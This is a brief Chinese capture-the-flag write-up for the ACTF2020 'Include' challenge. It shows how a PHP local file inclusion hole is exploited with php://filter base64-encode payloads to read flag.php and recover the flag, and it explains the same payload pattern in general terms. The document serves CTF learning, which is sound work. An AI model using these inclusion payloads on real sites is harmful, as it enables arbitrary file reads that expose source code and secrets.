[ACTF2020 新生赛]Include

本文主要是介绍[ACTF2020 新生赛]Include，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

01题目题解

打开链接

点击tips

url中含有?file=flag.php，题目提示include，猜测存在文件包含漏洞

利用伪协议php://filter查看文件源码

构造/?file=php://filter/resource=flag.php发现没有反应

构造/?file=php://filter/read=convert.base64-encode/resource=flag.php得到一堆字符串

将字符进行base64解码

得到flag{f27d458e-43fa-481d-a009-5d0bc5a1d95c}

php://filter可以获取指定文件源码。当它与包含函数结合时，php://filter流会被当作php文件执行。所以我们一般对其进行编码，让其不执行。从而导致任意文件读取。

?file=php://filter/resource=xxx.php

直接读取xxx.php文件，但大多数时候很多信息无法直接显示在浏览器页面上

?file=php://filter/read=convert.base64-encode/resource=xxx.php

将文件内容进行base64编码后显示在浏览器上，再自行解码

这篇关于[ACTF2020 新生赛]Include的文章就介绍到这儿，希望我们推荐的文章对大家有所帮助，也希望大家多多支持为之网！